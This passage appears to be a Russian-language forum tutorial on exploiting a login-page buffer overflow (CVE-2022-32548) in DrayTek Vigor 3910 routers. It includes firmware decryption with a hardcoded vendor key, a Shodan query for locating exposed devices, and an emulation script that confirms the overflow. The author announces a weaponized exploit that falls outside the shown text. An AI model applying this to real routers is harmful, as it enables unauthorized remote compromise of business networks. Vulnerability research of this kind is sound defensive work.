Вступление
Я не большой специалист в эксплуатации уязвимостей устройств интернета вещей, так что если вы знаете какой-то более оптимальный способ проэкплуатировать эту уязвимость - не стесняйтесь писать об этом в теме, будет интересно почитать. Как и всегда напоминаю, что статья, по большей части, рассчитана на новичков, поэтому я буду разбирать каждый момент детально. По всем вопросам можете писать тут или обращаться в ПМ, буду рад помочь.
Вот выступление человека нашедшего уязвимость. Пусть Philippe и проделал огромную работу, он оставил (скорее всего осознанно) некоторые недосказанности, которые не позволяют сразу написать PoC к этой узявимости. Кроме того его выступление не рассчитано на новичков, поэтому я и решил написать эту статью.
На момент написания статьи в публичном доступе нет PoC экплойтов для этой уязвимости. Но сегодня, мы с вами напишем не просто PoC, а полноценный эксплойт с боевой нагрузкой. Портируем его под разные версии уязвимой прошивки, и напишем скрипт для идентификации версии. Я сознательно оставлю некоторые ошибки в эксплойтах, но любой разбирающийся человек, или просто внимательный читатель - сможет их исправить.
Содержание
Что такое IoT
Тема IoT устройств сейчас актуальна как никогда. Согласно заявлениям McKinsey Digital, ещё в 2019 году, каждую секунду к интернету в серднем подключалось 127 новых IoT устройств. По оценкам Форбc на данный момент к интернету по всему миру подключены около 3,5 миллиардов различных IoT устройств. Термин IoT включает в себя устройства из совершенно разных отрослей экономики: от медицины, сельского хозяйства и транспорта до систем умного дома. Сейчас IoT используется почти везде, поэтому RCE уязвимости в таких устройствах привлекают много внимания.
Экплуатация ПО IoT устройства отличается от экплуатации любой другой десктопной или серверной программы. Ключевые отличия это архитектура и ограниченность ресурсов. В IoT редко используются чипы на архитектуре x86 из за их высокой стоимости и низкой по меркам IoT энергоэффективности. В IoT чаще применяются чипы на архитектурах семейств ARM и MIPS. Малое количество вычеслительных ресурсов накладывает сильные ограничения на спект защитных механизмов которые можно реализовать, однако это варьируется от устройства к устройству. Отсутсвие антивирусных решений, а также низкий уровень защиты памяти, сильно упрощают процесс экплуатации. Зачастую в IoT устройства нет никаких сложных механизмов вроде CFG, SMEP и других. Сегодня же нас не будет ограничивать ничего, не будет ни stack cookies, ни nx битов, ничего.
Требуемые знания
Сегодня от вас не потребуется ничего экстраординарного. Достаточно простого понимания того как эксплуатировать простейшие уязвимости класса bufferoverflow, поверхностных знаний ассемблера x86, а также умения обращаться с декомпилятором и отладчиком.
Но не думайте что будет скучно, сегодня мы пройдём полный путь от распаковки firmware, до полноценного эксплойта. Если у вас остануться какие-то вопросы, пишите прямо тут или мне в ПМ.
Кратко о aarch64
AArch64 или ARM64, это представленное в 2011 году 64-битное расширение архитектуры ARM. AArch64 использует новый сет инструкций - А64. Я бы мог очень долго распинаться о A64, но в рамках этой статьи это ни к чему. Поэтому я поверхностно коснусь этого вопроса и оставлю ссылки для дальнейшего самостоятельного изучения.
Если вы в первый раз видите arm, то это архитектура на которой работает ваш телефон, возможно роутер и много чего ещё. Ключевое отличие arm архитектуры от x86 это микроархитектура. Для x86 это CISC, для ARM это RISC. Если ещё проще, то в CISC больше инструкций, они занимают больше места на чипе и кушают больше энергии, в RISC же инструкций меньше, за счёт этого они меньше греются и кушают меньше энергии. Современные процессоры на архитектуре x86 комбинируют в себе и RISC и CISC, но это не тема этой статьи, так что опустим эти детали.
По ходу статьи я буду объяснять все моменты подробно, так что учить всё прямо сейчас вам не за чем. Однако если вы всё-же сильно заинтересуетесь ARM, а в частности ARMv8, то вот отличная документация для разрабочиков
Более подробную информацию о наборе инструкций A64 можно получить в этом документе
Краткую справку по устройству стека и вызовах в arm64 можно получить тут
Главное что нужно запомнить сегодня - в Aarch64 стек растёт вниз!
По ходу чтения, можете поглядывать вот в эту шпаргалку по ARM инструкциям:
Тут безусловно не всё, однако она поможет не путаться и быстро понимать в чём суть того или иного листинга декомпилятора.
Инструментарий
В качестве основного иструмента анализа, при написании этой статьи, я использовал Binary Ninja - отличный инструмент и красивым UI. Все скрины сегодня будут от туда.
Также нам понадобятся:
Вот репозиторий sasquatch. Но гайд по установке из самого репозитория не работает, из за проблем с объявлениями и флага -Werror, который превращает Warning'и в ошибки. Для установки я использовал следующий команды:
И только после сборки sasquarch, можно устанавливать binwalk.
Firmware
Про Vigor 3910
Эксплуатировать будем уязвимость CVE-2022-32548. Уровень опасности согласно CVSS довольно высокий 9.8 или даже 10. Вот пару ссылок ссылок о узвимости:
nvd.nist.gov
www.securityweek.com
Нашей сегодняшней целью будет DrayTek Vigor 3910:
Это корпоративный маршрутизатор, особенно популярный в Южной Азии и Европе, среди среднего и крупного бизнеса. Вот список стран в которых популярны продукты DrayTek
На сайте производителя есть классное live демо, можете пощупать web интерфейс тут
На vuldb сказанно, что уязвимы все версии до 4.3.1.1. Сама уязвимость обещает быть несложной для эксплуатации, обычный buffer overflow в странице регистрации, ведущий к RCE.
Файл прошивки нужной версии можно скачать с сайта производителя
Распаковка прошивки
В качестве цели возьмём две версии 4.3.1 и 3.9.6, это 2 самые популярные версии согласно скану Shodan. Скачать архивы можно тут:
Версия 3.9.6
В скаченном архиве нас встречает файл
Внутри мы обнаруживаем unix пути, вроде
Что намекает нам на то что файл был сжать неким алгоримом.
Чтобы понять что за алгоритм сжатия использовался, давайте поищем какие-нибудь маркеры. Вот они:
Оба указывают на то, что использовался алгоритм LZ4. Первый это конец блока сжатия, а второй - начало.
В выступлении первооткрывателя этой уязвимости приведён скрипт для распаковки firmware. Я его немного упростил, но сути это не поменяло:
Он просто ищет в файле маркер с началом блока сжатия, потом итерируется по файлу с поисках последнего маркера:
Вот результат работы скрипта:
То что нам нужно это файл v3910_396.all_fs
А теперь снова прогоним через binwalk:
А вот это уже похоже на файловую систему!
Теперь извлечём содержимое файла при помощи команды:
Вот что мы получим на выходе:
Версия 4.3.1
И буквально пару слов о распаковке 4.3.1. Мы не будем акцентрировать внимание на этом моменте, так как статья о экплуатации, а не о том как расшифровывать firmware. Однако не упомянуть об этом я не могу, иначе пропущу важный но неочевидный момент.
Распаковка версии 4.3.1 отличается всего одним дополнительным шагом вначале. Начиная с версий 4.x.x DrayTek загружают firmware в зашифрованном виде. Давайте убедимся в этом, прогонав файл v3910_431.all через binwalk:
В этот раз совсем кошмар, никаких намёков на то что внутри лежит Linux.
Взглянем через Hex-редактор:
Файл определённо зашифрован. Но чем? Ответ на этот вопрос даёт вот эта строчка:
Слово nonce намекает на то что использовалось потоковое шифрование посложнее чем xor) Давайте поищем ключ и маркеры, указывающие на конкретный алгоритм в предыдущей версии firmware. Не буду долго вас мучать, статья и так получилась не маленькая. Ответ кроется в версии идущей перед 4.3.1. Вот слово маркер из файла 3.9.7.2:
После недолгих поисков в гугле становится ясно, что
А вот и ключ, открытым текстом, прямо в том-же файле v3910_3972.all:
Опять же, не будем долго задерживаться на этом этапе, так как это всё и так отлично раписанно в выступлении Philipp`а на Hexacon. Самое интересное - эксплуатация, только впереди, так что я просто скажу что в коде загрузки версии 3.9.7.2 все буквы
А вот и скрипт для расшифровки из презентации на hexacon:
Опять же ничего экстраоридинарного, просто дешифрование и запись в новый файл.
После расшифровки, процесс извлечения прошивки ни чем не отличается от версии 3.9.6. Идём дальше.
Анализ уязвимости
Вот мы и добрались до основной темы ститьи - Уязвимость. Начнём с того что определим, какие конкретно файлы отвечают за веб-интерфейс нашего Vigor3910. Первое что сразу бросается в глаза после извлечения файловой системы, это папка firmware:
Здесь, внутри папки vqemu, лежит файл sohod64.bin. А все скрипты что видны на фото выше - запускают его с помочью qemu. Это не трудно понять если взглянуть на скрипты внутри папки firmware. Вот, для примера,
Вот и настало время Binary Ninja. Загружаем в него sohod64.bin и приступаем к поискам.
Где RCE?
На сайте nist.gov, в описании CVE-2022-32548 указанно, что узявимость кроется в странице входа в панель Vigor:
Давайте определим что за поля
Передать что-то мы можем только в полях
Отправим форму и посмотрим в сам запрос:
Вот и наши поля
Как работает переполнение?
Вот кусочек листинга
А вот и функция отвечающая за декодирование из base64:
Как вы уже наверное догадались - суть уязвимости кроется в функции
Где x - длинна зашифрованной строки, а n - количество знаков '=' в конце
Давайте взглянем на листинг
Она является ни чем инным, как программным отражением указанной выше формулы. Она делит длинну исходной строки на 4, умножает на 3, а затем, в цикле итерируется по строке с конца, и вычитает из результата единицу до тех пор, пока не встретит любой другой символ, кроме '='.
Уже догадались в чём проблема? Мы можем добавить сколько угодно знаков '=', тем самым уменьшая размер буфера в который попадёт наша расшифрованная строка.
Давайте в этом убедимся.
Unicorn engine
И тут я хочу представить вам очень полезный инструмент - Unicorn engine. Это кроссплатформенный CPU эмулятор в формате фреймворка, представленный ещё в 2015 году. Вот его страница на github
Не смотря на популярность инструмента, я редко вижу чтобы его использовали для анализа уязвимостей.
Над Unicorn engine есть отличная надстройка - Qiling, он создан специально для поиска и анализа уязвимостей. В него встроенны загрузчики файлов, а кроме того к нему можно подключить фазер и отладчик. Если будет интересно, я позже сделаю отдельную статью о Qiling.
Вернёмся к Unicorn engine. В python он устанавливается одной простой коммандой:
Огромная проблема Unicorn Engine - недостаток документации на любых других языках, кроме китайского. На случай если кто-то вдруг знает китайский, вот документация на китайском
Разобраться с тем как его использовать вам поможет самый простой пример с сайта фреймворка. А также гора файлов с примерами его использования в C и Python:
С начала я для удобства сократил размер файла sohod64. Сокращённую версию файла ищите в конце статьи.
После нескольких часов страдания из за отсутсвия вменяемой документации, у меня получился следующий скрипт:
Давайте разберём этот код подробнее. Первым делом сохраним нужные нам значения:
Адреса
Далее проинициализируем Unicorn:
Здесь мы объявляем архитектуру и выделяем память для бинаря и стека. Далее устанавливаем в регистр SP(Stack Pointer) адрес нашего стека и забиваем его нулями. После - загружаем бинарь в только что выделенную под него память.
Следующий шаг - запуск:
Здесь мы выделяем память для исходной строки, и сразу же записываем её туда. Далее устанавливаем регистры с аргументами для функции. В A64 аргументы передаются в регистрах w0-w7, по порядку. В нашем случае, так как мы будем вызывать не cgiWebLogin целиком, а только b64_decode, аргументы будут следуюшие:
Следующим шагом в блоке
После выполнения, я просто читаю адрес памяти в который функция должна была записывать итоговую строку и возвращаю прочитанное. А после - вывожу в консоль память в буфере и после него:
Не так уж и сложно, правда?
Eсли вы обратили внимание, в коде используется библиотека
И так, перейдём к сути. Вот подсчёт нужного количества знаков '=' для успешного переполнения буфера на стеке:
После исполнения скрипта, мы получаем следующее:
Отлично, наличие уязвимости подверждено!
Эмуляция
Следующий вопрос которым необходимо озаботится перед тем как приступать к написанию эксплойта - эмуляция прошивки. В этом смысле перед нами стоит не сложная задача(на первый взгляд). Ведь sohod64.bin и так эмулируется в qemu, стоит просто запустить qemu и всё?
Всё не так просто.
Кастомный qemu
Дело в том, что для запуска sohod64.bin, Vigor 3910 использует кастомную версию Qemu. Это можно понять если заглянуть в один из файлов внутри папки firmware:
На это указывает флаг -dtb DrayTek.
Где же нам взять этот Qemu? Всё просто, в gpl репозитории разработчика
И вот тут мы возращаемся к вопросу, который я оставил ещё в самом начале статьи. Почему именно Ubuntu 16.04? Всё дело в том что у меня не получилось собрать этот кастомный qemu в более новых версиях Ubuntu. Я не буду вдаваться в подробности, если хотите - можете сами попробовать собрать его в другой Ubuntu. Для остальных, кто хочет превентивно избавиться от проблем - ставьте виртуалку с Ubuntu 16.04 и собирайте со спокойной душой.
Вот команды для сбора:
Переписываем скрипт для запуска
Для запуска sohod64 с кастомным билдом qemu, я написал следующий скрипт:
Выглядит не просто, однако вдаваться в подробности нам сейчас ни к чему. По сути это сборная солянка из разных файлов внутри папки firmware. Просто сохраните этот файл в папку firmware к остальным скриптам.
Для запуска, помимо переписанного скрипта, нам понадобиться следующее:
Вот и всё, осталось запустить. Порядок следующий:
Если в ней будет появляться что-то ещё - не пугайтесь, это нормально.
Доступ к web-морде
Следующий важный вопрос который нужно затронуть - web-интерфейс. Чтобы получить доступ к web-панели, нам придётся немного поиграться с сетью. Ради вашего и своего удобства я написал скрипт для настройки, всё что нужно в нём поменять, это заменить поле
Запускать только из под sudo!
Также учтите, что после запуска скрипта на виртуалке пропадёт соединение, чтобы этого избежать, просто создайте второй интерфейс.
Скрипт нужно запускать Перед запуском скрипта с qemu! После этого web панель будет доступна по адресу
Выглядеть это будет примерно так:
Отладка с gdb-multiarch
И последнее, перед тем как приступать к написанию эксплойта, нужно разобраться с отладчиком. В качестве инструмента отладки мы будем использовать консольный
Инструмент ставиться простой командой:
После запуска эмуляции с qemu, подключиться к sohod64.bin можно будет следющей коммандой:
Для удобства изменим интерфейс коммандой:
Если вы не умеете пользоваться gdb, то вот список комманд
Сегодня нам пригодяться не многие из них. Вот основные:
Вывести список регистров:
Вывести список брейкпоинтов:
Установить брейкпоинт на адрес:
Прочитать строку по адресу:
Прочитать байты по адресу:
Прочитать байты по адресу хранящемуся в регистре:
Продолжить исплнение программы:
Шаг в исполнении:
Продолжение в посте ниже
Я не большой специалист в эксплуатации уязвимостей устройств интернета вещей, так что если вы знаете какой-то более оптимальный способ проэкплуатировать эту уязвимость - не стесняйтесь писать об этом в теме, будет интересно почитать. Как и всегда напоминаю, что статья, по большей части, рассчитана на новичков, поэтому я буду разбирать каждый момент детально. По всем вопросам можете писать тут или обращаться в ПМ, буду рад помочь.
Вот выступление человека нашедшего уязвимость. Пусть Philippe и проделал огромную работу, он оставил (скорее всего осознанно) некоторые недосказанности, которые не позволяют сразу написать PoC к этой узявимости. Кроме того его выступление не рассчитано на новичков, поэтому я и решил написать эту статью.
На момент написания статьи в публичном доступе нет PoC экплойтов для этой уязвимости. Но сегодня, мы с вами напишем не просто PoC, а полноценный эксплойт с боевой нагрузкой. Портируем его под разные версии уязвимой прошивки, и напишем скрипт для идентификации версии. Я сознательно оставлю некоторые ошибки в эксплойтах, но любой разбирающийся человек, или просто внимательный читатель - сможет их исправить.
Содержание
- Введение
- Что такое IoT
- Требуемые знания
- Кратко о aarch64
- Инструментарий
- Firmware
- Про Vigor 3910
- Распаковка прошивки
- Версия 3.9.6
- Версия 4.3.1
- Анализ уязвимости
- Где RCE?
- Как работает переполнение?
- Unicorn engine
- Эмуляция
- Кастомный qemu
- Переписываем скрипт для запуска
- Доступ к web-морде
- Отладка с gdb-multiarch
- Пишем эксплоит
- Подготовка
- Переполняем буфер
- Ищем смещение
- Пишем шеллкод
- Собираем эксплоит
- Загружаем боевую нагрузку
- Оптимизация под другие версии
- One more thing(О способе определения версии)
- Ссылки
- Итоги
Что такое IoT
Тема IoT устройств сейчас актуальна как никогда. Согласно заявлениям McKinsey Digital, ещё в 2019 году, каждую секунду к интернету в серднем подключалось 127 новых IoT устройств. По оценкам Форбc на данный момент к интернету по всему миру подключены около 3,5 миллиардов различных IoT устройств. Термин IoT включает в себя устройства из совершенно разных отрослей экономики: от медицины, сельского хозяйства и транспорта до систем умного дома. Сейчас IoT используется почти везде, поэтому RCE уязвимости в таких устройствах привлекают много внимания.
Экплуатация ПО IoT устройства отличается от экплуатации любой другой десктопной или серверной программы. Ключевые отличия это архитектура и ограниченность ресурсов. В IoT редко используются чипы на архитектуре x86 из за их высокой стоимости и низкой по меркам IoT энергоэффективности. В IoT чаще применяются чипы на архитектурах семейств ARM и MIPS. Малое количество вычеслительных ресурсов накладывает сильные ограничения на спект защитных механизмов которые можно реализовать, однако это варьируется от устройства к устройству. Отсутсвие антивирусных решений, а также низкий уровень защиты памяти, сильно упрощают процесс экплуатации. Зачастую в IoT устройства нет никаких сложных механизмов вроде CFG, SMEP и других. Сегодня же нас не будет ограничивать ничего, не будет ни stack cookies, ни nx битов, ничего.
Требуемые знания
Сегодня от вас не потребуется ничего экстраординарного. Достаточно простого понимания того как эксплуатировать простейшие уязвимости класса bufferoverflow, поверхностных знаний ассемблера x86, а также умения обращаться с декомпилятором и отладчиком.
Но не думайте что будет скучно, сегодня мы пройдём полный путь от распаковки firmware, до полноценного эксплойта. Если у вас остануться какие-то вопросы, пишите прямо тут или мне в ПМ.
Кратко о aarch64
AArch64 или ARM64, это представленное в 2011 году 64-битное расширение архитектуры ARM. AArch64 использует новый сет инструкций - А64. Я бы мог очень долго распинаться о A64, но в рамках этой статьи это ни к чему. Поэтому я поверхностно коснусь этого вопроса и оставлю ссылки для дальнейшего самостоятельного изучения.
Если вы в первый раз видите arm, то это архитектура на которой работает ваш телефон, возможно роутер и много чего ещё. Ключевое отличие arm архитектуры от x86 это микроархитектура. Для x86 это CISC, для ARM это RISC. Если ещё проще, то в CISC больше инструкций, они занимают больше места на чипе и кушают больше энергии, в RISC же инструкций меньше, за счёт этого они меньше греются и кушают меньше энергии. Современные процессоры на архитектуре x86 комбинируют в себе и RISC и CISC, но это не тема этой статьи, так что опустим эти детали.
По ходу статьи я буду объяснять все моменты подробно, так что учить всё прямо сейчас вам не за чем. Однако если вы всё-же сильно заинтересуетесь ARM, а в частности ARMv8, то вот отличная документация для разрабочиков
Более подробную информацию о наборе инструкций A64 можно получить в этом документе
Краткую справку по устройству стека и вызовах в arm64 можно получить тут
Главное что нужно запомнить сегодня - в Aarch64 стек растёт вниз!
По ходу чтения, можете поглядывать вот в эту шпаргалку по ARM инструкциям:
Тут безусловно не всё, однако она поможет не путаться и быстро понимать в чём суть того или иного листинга декомпилятора.
Инструментарий
В качестве основного иструмента анализа, при написании этой статьи, я использовал Binary Ninja - отличный инструмент и красивым UI. Все скрины сегодня будут от туда.
Также нам понадобятся:
- Виртуалка с Ubuntu 16.04 на бору(Почему именно 16.04 я объясню позже)
- gdb-multiarch
- binwalk
- python или c++ с Unicorn-Engine
- gnu компилятор для aarch64: gcc-aarch64-linux-gnu
Вот репозиторий sasquatch. Но гайд по установке из самого репозитория не работает, из за проблем с объявлениями и флага -Werror, который превращает Warning'и в ошибки. Для установки я использовал следующий команды:
Bash:
git clone https://github.com/devttys0/sasquatch && cd sasquatch
ADDLINE="sed -i 's/-Wall -Werror/-Wall/g' patches/patch0.txt"
sed -i "/^tar -zxvf.*/a $ADDLINE" ./build.sh
CFLAGS=-fcommon ./build.sh
Firmware
Про Vigor 3910
Эксплуатировать будем уязвимость CVE-2022-32548. Уровень опасности согласно CVSS довольно высокий 9.8 или даже 10. Вот пару ссылок ссылок о узвимости:
NVD - CVE-2022-32548
SMBs Exposed to Attacks by Critical Vulnerability in DrayTek Vigor Routers
A critical vulnerability that can allow unauthenticated remote code execution affects hundreds of thousands of DrayTek Vigor routers.
Нашей сегодняшней целью будет DrayTek Vigor 3910:
Это корпоративный маршрутизатор, особенно популярный в Южной Азии и Европе, среди среднего и крупного бизнеса. Вот список стран в которых популярны продукты DrayTek
На сайте производителя есть классное live демо, можете пощупать web интерфейс тут
На vuldb сказанно, что уязвимы все версии до 4.3.1.1. Сама уязвимость обещает быть несложной для эксплуатации, обычный buffer overflow в странице регистрации, ведущий к RCE.
Файл прошивки нужной версии можно скачать с сайта производителя
Распаковка прошивки
В качестве цели возьмём две версии 4.3.1 и 3.9.6, это 2 самые популярные версии согласно скану Shodan. Скачать архивы можно тут:
- https://fw.draytek.com.tw/Vigor3910/Firmware/v3.9.6/Vigor3910_v3.9.6.zip
- https://fw.draytek.com.tw/Vigor3910/Firmware/v4.3.1/Vigor3910_v4.3.1.zip
Версия 3.9.6
В скаченном архиве нас встречает файл
v3910_396.all. Нет смысла сразу закидывать его в binary ninja, давайте сначала пробежимся по нему с помощью binwalk:
Внутри мы обнаруживаем unix пути, вроде
/home/eason_jhan/... или /bin/bash, что прямо говорит нам о том что внутри Vigor 3910 крутиться unix операционная система. Все остальное же на первый взгляд выглядит как какой-то кошмар. Однако если открыть файл в hex-редакторе, можно обнаружить строки вроде этой:Что намекает нам на то что файл был сжать неким алгоримом.
Чтобы понять что за алгоритм сжатия использовался, давайте поищем какие-нибудь маркеры. Вот они:
Оба указывают на то, что использовался алгоритм LZ4. Первый это конец блока сжатия, а второй - начало.
В выступлении первооткрывателя этой уязвимости приведён скрипт для распаковки firmware. Я его немного упростил, но сути это не поменяло:
Python:
import sys
import os
def decompress():
print("[*] Extracting fs from lz4 blob")
with open(sys.argv[1], "rb") as f: # Reads decrypted firmware
data = f.read()
data_start = data.find(b"\x02\x21\x4c\x18") # Searching for first bytes of LZ4 blob
if data_start == -1:
print("[!] LZ4 header not found")
return False
data_end = data.find(b"R!!!", data_start) # Search for the end of LZ4
temp_end = data_end
while temp_end != -1: # Searching for R!!! till the end
data_end = temp_end # That means that we will get the last R!!! in file
temp_end = data.find(b"R!!!", data_end+1)
if data_end == -1: # if we overflowed, throws error
print("[!] LZ4 trailer not found")
return False
data_end += (0x14-5) # calc true and offset
print("[+] Found LZ4 from {:x} to {:x}".format(data_start, data_end))
filename_out = sys.argv[1] + "_fs.lz4"
with open(filename_out, "wb") as f:
f.write(data[data_start:data_end])
os.system("lz4 -d {}".format(filename_out))
return True
if __name__ == "__main__":
decompress()
Он просто ищет в файле маркер с началом блока сжатия, потом итерируется по файлу с поисках последнего маркера:
TRAILER!!!. Затем сохраняет найденный блок сжатия в отдельный файл и разжимает с помощью консольного инструмента.Вот результат работы скрипта:
То что нам нужно это файл v3910_396.all_fs
А теперь снова прогоним через binwalk:
А вот это уже похоже на файловую систему!
Теперь извлечём содержимое файла при помощи команды:
Bash:
binwalk -eM v3910_396.all_fs
Вот что мы получим на выходе:
Версия 4.3.1
И буквально пару слов о распаковке 4.3.1. Мы не будем акцентрировать внимание на этом моменте, так как статья о экплуатации, а не о том как расшифровывать firmware. Однако не упомянуть об этом я не могу, иначе пропущу важный но неочевидный момент.
Распаковка версии 4.3.1 отличается всего одним дополнительным шагом вначале. Начиная с версий 4.x.x DrayTek загружают firmware в зашифрованном виде. Давайте убедимся в этом, прогонав файл v3910_431.all через binwalk:
В этот раз совсем кошмар, никаких намёков на то что внутри лежит Linux.
Взглянем через Hex-редактор:
Файл определённо зашифрован. Но чем? Ответ на этот вопрос даёт вот эта строчка:
Слово nonce намекает на то что использовалось потоковое шифрование посложнее чем xor) Давайте поищем ключ и маркеры, указывающие на конкретный алгоритм в предыдущей версии firmware. Не буду долго вас мучать, статья и так получилась не маленькая. Ответ кроется в версии идущей перед 4.3.1. Вот слово маркер из файла 3.9.7.2:
После недолгих поисков в гугле становится ясно, что
expand 32-byte k оставляет нам только 2 варианта - либо salsa20, либо chacha20. Не буду долго томить, это chacha20.А вот и ключ, открытым текстом, прямо в том-же файле v3910_3972.all:
Опять же, не будем долго задерживаться на этом этапе, так как это всё и так отлично раписанно в выступлении Philipp`а на Hexacon. Самое интересное - эксплуатация, только впереди, так что я просто скажу что в коде загрузки версии 3.9.7.2 все буквы
J в ключе, меняются на E:А вот и скрипт для расшифровки из презентации на hexacon:
Python:
import sys
from Crypto.Cipher import ChaCha20
def usage():
print("{} path_to_file path_to_nonce".format(sys.argv[0]))
def go():
print("[*] Decrypting Firmware")
if len(sys.argv) < 2:
return usage()
with open(sys.argv[1], "rb") as f:
data = f.read()
with open(sys.argv[2], "rb") as f:
msg_nonce = f.read()
if len(msg_nonce) != 0xC:
print("Invalide nonce len")
return
secret = b"0DraytekKd5Eason3DraytekKd5Eason"
cipher = ChaCha20.new(key=secret, nonce=msg_nonce)
plaintext = cipher.decrypt(data)
with open(sys.argv[1] + "_decrypted", "wb") as f:
f.write(plaintext)
print("[+] Done")
if __name__ == "__main__":
go()
После расшифровки, процесс извлечения прошивки ни чем не отличается от версии 3.9.6. Идём дальше.
Анализ уязвимости
Вот мы и добрались до основной темы ститьи - Уязвимость. Начнём с того что определим, какие конкретно файлы отвечают за веб-интерфейс нашего Vigor3910. Первое что сразу бросается в глаза после извлечения файловой системы, это папка firmware:
Здесь, внутри папки vqemu, лежит файл sohod64.bin. А все скрипты что видны на фото выше - запускают его с помочью qemu. Это не трудно понять если взглянуть на скрипты внутри папки firmware. Вот, для примера,
run_linux.sh:
Вот и настало время Binary Ninja. Загружаем в него sohod64.bin и приступаем к поискам.
Где RCE?
На сайте nist.gov, в описании CVE-2022-32548 указанно, что узявимость кроется в странице входа в панель Vigor:
/cgi-bin/wlogin.cgi. А если конкретно то это BoF в полях aa и ab. Найти нужную функцию можно по строкам. Нам помогут ключевые слова, вроде cgi, wlogin, weblogin. Для удобства назовём её cgiWebLogin:
Давайте определим что за поля
aa и ab. Для этого возьмём произвольный Vigor 3910 из Shodan и посмотрим в код элемента. Вот shodan querie для поиска устройства:
Код:
ssl:DrayTek http.status:200 product:"DrayTek Vigor3910 Series"
Передать что-то мы можем только в полях
Username и Password:
Отправим форму и посмотрим в сам запрос:
Вот и наши поля
aa и ab. А в них - закодированный в base64 логин и пароль(admin/admin в данном случае)Как работает переполнение?
Вот кусочек листинга
cgiWebLogin, где из base64 декодируются поля aa и ab:
А вот и функция отвечающая за декодирование из base64:
Как вы уже наверное догадались - суть уязвимости кроется в функции
weird_strlen. Проблема заключается в том, что для подсчёта длинны строки, которая получится после расшифровки из base64, программа пользвуется следующей формулой:
Код:
(x // 4)*3 - n
Давайте взглянем на листинг
weird_strlen:
Она является ни чем инным, как программным отражением указанной выше формулы. Она делит длинну исходной строки на 4, умножает на 3, а затем, в цикле итерируется по строке с конца, и вычитает из результата единицу до тех пор, пока не встретит любой другой символ, кроме '='.
Уже догадались в чём проблема? Мы можем добавить сколько угодно знаков '=', тем самым уменьшая размер буфера в который попадёт наша расшифрованная строка.
Давайте в этом убедимся.
Unicorn engine
И тут я хочу представить вам очень полезный инструмент - Unicorn engine. Это кроссплатформенный CPU эмулятор в формате фреймворка, представленный ещё в 2015 году. Вот его страница на github
Не смотря на популярность инструмента, я редко вижу чтобы его использовали для анализа уязвимостей.
Над Unicorn engine есть отличная надстройка - Qiling, он создан специально для поиска и анализа уязвимостей. В него встроенны загрузчики файлов, а кроме того к нему можно подключить фазер и отладчик. Если будет интересно, я позже сделаю отдельную статью о Qiling.
Вернёмся к Unicorn engine. В python он устанавливается одной простой коммандой:
Bash:
pip install unicorn
Огромная проблема Unicorn Engine - недостаток документации на любых других языках, кроме китайского. На случай если кто-то вдруг знает китайский, вот документация на китайском
Разобраться с тем как его использовать вам поможет самый простой пример с сайта фреймворка. А также гора файлов с примерами его использования в C и Python:
- https://github.com/unicorn-engine/unicorn/tree/master/samples
- https://github.com/unicorn-engine/unicorn/tree/master/bindings/python
С начала я для удобства сократил размер файла sohod64. Сокращённую версию файла ищите в конце статьи.
После нескольких часов страдания из за отсутсвия вменяемой документации, у меня получился следующий скрипт:
Python:
from unicorn import *
from unicorn.arm64_const import *
import base64
# for debug part we need udbserver
# debug part
# from udbserver import udbserver
load_address = 0x40000000
stack_base = 0x45f18000
stack_size = 0x1000000
b64_decode_start = 0x40149fd4
b64_decode_end = 0x4014a2c0
safe_strlen_address = 0x4067ff58
safe_strlen_end = 0x4067ffec
address_String_encoded = 0x30000000
address_String_decoded = 0x30001000
expected_len = 0x54
# <----------------------------------------------->
# <-------------------Envs------------------------>
# <----------------------------------------------->
# Here is the decoded string
String_decoded = 'a'*0x54 + 'b'*0x20
# Here is the number of qual signs
n = (len(String_decoded) - 0x54) * 4 # math
quals = '='*n
# Here is the second output size
output_size = 0x20
# Debug
debug = False
debug_point = 0x40149fd4 # Now its b64_decode start
# <----------------------------------------------->
# <----------------------------------------------->
# <----------------------------------------------->
String_encoded = base64.b64encode(bytes(String_decoded, 'utf-8')) + bytes(quals, 'utf-8')
def load_routine():
fw = open("bins/cut_sohod64.bin", "rb")
firmware = fw.read(0x1e18b7f)
return firmware
def load_unicorn():
mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
sohod64 = load_routine()
mu.mem_map(load_address, 40*1024*1024) # Binary mapping
mu.mem_map(stack_base, stack_size) # Stack mapping
mu.reg_write(UC_ARM64_REG_SP, stack_base + stack_size//2) # Set a stack pointer
mu.mem_write(stack_base, b"\x00"*stack_size) # Nulling stack
mu.mem_write(load_address, sohod64)
if debug:
# debug part
# print("[*] Emulation stars in debug mode: ")
# print("------> Host: 127.0.0.1")
# print("------> Port: 1234")
# udbserver(mu, 1234, debug_point)
print("[!] Debug is not available on Windows, becаuse we need udbserver")
return mu
def hook_code(mu, address, size, user_data):
if address == safe_strlen_address:
print("[*] Reached safe_strlen")
mu.reg_write(UC_ARM64_REG_W0, len(String_encoded)) # Just returning encoded string len
mu.reg_write(UC_ARM64_REG_PC, safe_strlen_end) # and skip the function
def run(mu):
# Mapping place for string
mu.mem_map(address_String_encoded, 2*1024*1024)
# Writing encoded string
mu.mem_write(address_String_encoded, String_encoded)
# Setting registers
mu.reg_write(UC_ARM64_REG_W0, address_String_encoded) # data
mu.reg_write(UC_ARM64_REG_W1, address_String_decoded) # dst
mu.reg_write(UC_ARM64_REG_W2, expected_len) # len
# Hook safe_strlen, coz it just return constant value. And affecting a lot of memory areas
mu.hook_add(UC_HOOK_CODE, hook_code)
try:
mu.emu_start(b64_decode_start, b64_decode_end)
except Exception as e:
print("[!] Emulation error: ")
print(e)
print("[*] IP: 0x{:x}".format(mu.reg_read(UC_ARM64_REG_PC)))
quit()
decrypted_String = mu.mem_read(address_String_decoded, expected_len)
return decrypted_String
def main():
print("[*] Emulating vulnerable function in sohod64.bin")
print("[*] Encoded string len: {:x}".format(len(String_encoded)))
# Emulation
mu = load_unicorn()
decrypted_string = run(mu)
# Output
print("[+] Emulation returned: ")
print("\n----> Source buffer: ")
source_buffer = mu.mem_read(address_String_encoded, len(String_encoded))
print(source_buffer)
print("\n----> Target Buffer: ")
print(decrypted_string)
print("\n----> Memory after buffer: ")
# Printing the memory out of buffer
afterbuffer_mem = mu.mem_read(address_String_decoded+expected_len, output_size)
print(afterbuffer_mem)
main()
Давайте разберём этот код подробнее. Первым делом сохраним нужные нам значения:
Python:
load_address = 0x40000000
stack_base = 0x45f18000
stack_size = 0x1000000
b64_decode_start = 0x40149fd4
b64_decode_end = 0x4014a2c0
safe_strlen_address = 0x4067ff58
safe_strlen_end = 0x4067ffec
address_String_encoded = 0x30000000
address_String_decoded = 0x30001000
expected_len = 0x54
